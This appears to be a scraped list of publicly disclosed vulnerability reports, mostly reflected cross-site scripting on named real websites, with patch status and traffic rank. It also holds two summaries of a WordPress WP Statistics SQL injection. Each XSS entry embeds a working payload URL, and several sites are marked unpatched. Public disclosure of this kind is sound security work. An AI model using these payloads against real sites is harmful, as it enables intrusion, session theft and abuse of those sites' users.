campfourseasonsresort.com XSS vulnerability

Vulnerable URL: http://campfourseasonsresort.com/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 17:06 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

audiwinnipeg.com XSS vulnerability

Vulnerable URL: http://www.audiwinnipeg.com/all-inventory/no-results.htm?category=AUTO=%22-alert%28%27OPENBUGBOUNTY%27%29-%22&dl.custom.form.id;=&dl.element;=BUTTON+%0D%0ASearch%0D%0A&dl.formElapsedTime;=NaN&dl.formTrackingId;=INVENTORYSEARCH&dl.isModal;=&dl.params;=&dl.widgetName;=Audi+Winnipeg...

curioseety.com XSS vulnerability

Vulnerable URL: http://www.curioseety.com/index.php/search-results/?searchpaths%5B%5D==%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E==Shoppingoptions=lang=== Details: Description| Value ---|--- Patched:| No Latest check...

epaper.udayavani.com XSS vulnerability

Vulnerable URL:...

angelo.edu XSS vulnerability

Vulnerable URL: http://www.angelo.edu/mediaplayer/mediaplayer.swf?file=http://content.bitsontherun.com/videos/bkaovAYt-364766.flv=falseℑ=http://appsec.ws/ExploitDB/cMon.jpg=true=javascript:confirm/openbugbounty/;//=blank&.swf Details: Description| Value ---|--- Patched:| Yes, at 07.09.2017 Latest...

onatera.com XSS vulnerability

Vulnerable URL: https://www.onatera.com/listingproduits.php?mots=aaaaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Eparpage=20 Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 16:38 GMT Vulnerability type:|...

nastypornpics.com XSS vulnerability

Vulnerable URL: http://nastypornpics.com/?q=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edemonium%3C%2Ftag%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

help.rssing.com XSS vulnerability

Vulnerable URL: http://help.rssing.com/request.php?req=gsearch=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5740 VIP...

amzaidi.com XSS vulnerability

Vulnerable URL: https://www.amzaidi.com/searchresult.php?searchid=nomanAli18%201%22%3E%3Cmenu%20id=x%20contextmenu=x%20onshow=alert/OPENBUGBOUNTY/%3E%3Ch1%3Eright%20click%20me%20^^%3C/h1%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.10.2017 Vulnerability type:| X...

mundicamino.com XSS vulnerability

Vulnerable URL: http://www.mundicamino.com/buscador.cfm?cx=partner-pub-3736398284687449%3Aeg2rw5-lwv3=FORID%3A9=ISO-8859-1=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.08.2017 Vulnerability type:...

baardtrimmershop.nl XSS vulnerability

Vulnerable URL: https://www.baardtrimmershop.nl/category/241728%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/trimmers.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1518452 VI...

yonitale.com XSS vulnerability

Vulnerable URL: https://www.yonitale.com/en/models.php?search=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%27OPENBUGBOUNTY%27%29%3B%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

hockey-reference.com XSS vulnerability

Vulnerable URL: http://www.hockey-reference.com/amateurs/team.cgi?t=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 35111 VIP website status:| Yes Check hockey-reference.com SSL...

hypestat.com XSS vulnerability

Vulnerable URL: http://www.hypestat.com/compare/"/" Details: Description| Value ---|--- Patched:| Yes, at 28.09.2017 Latest check for patch:| 28.09.2017 13:15 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11318 VIP website status:| Yes Check hypestat.com SSL...

harikadizi5.com XSS vulnerability

Vulnerable URL: http://www.harikadizi5.com/dizi-bul?d=aaaaa%27%22+ONFOCUS%3Dprompt%22OPENBUGBOUNTY%22+autofocus%3Dx+bad%3D%22%3Ede%27m%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%22OPENBUGBOUNTY%22%3Edem%3C%2Ftag%3E= Details: Description| Value ---|--- Patched:| Yes, at...

relaiscolis.com XSS vulnerability

Vulnerable URL: https://www.relaiscolis.com/suivi-de-colis Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 46950 VIP website status:| Yes Check relaiscolis.com SSL connection:| Grad...

WP Statistics SQL Injection vulnerability

Security experts at Sucuri have discovered a SQL Injection vulnerability in WP Statistics, one of the most popular WordPress plugins, that is currently installed on over 300,000 websites. The SQL Injection vulnerability in WP Statistics could be exploited by attackers, with at least a subscriber...

tsmilla.com XSS vulnerability

Vulnerable URL: http://tsmilla.com/tour/?nats=%22%3E%3Csvg%20onload=alert/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2076159 VIP...

blog.sexmoviesnetwork.com XSS vulnerability

Vulnerable URL: http://blog.sexmoviesnetwork.com/?nats=t" onmouseover=alert/OPENBUGBOUNTY/;MC4wLjExMy4xMTQuMC4wLjAuMC4w Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

WordPress WP Statistics plugin <=12.0.7 - Authenticated SQL Injection vulnerability

WordPress WP Statistic plugin in version 12.0.7 and earlier versions vulnerable to Authenticated SQL Injection vulnerability due to lack of sanitization in user-provided data. In this case users even with subscriber rights could use this vulnerability to steal sensitive data. Solution The plugin...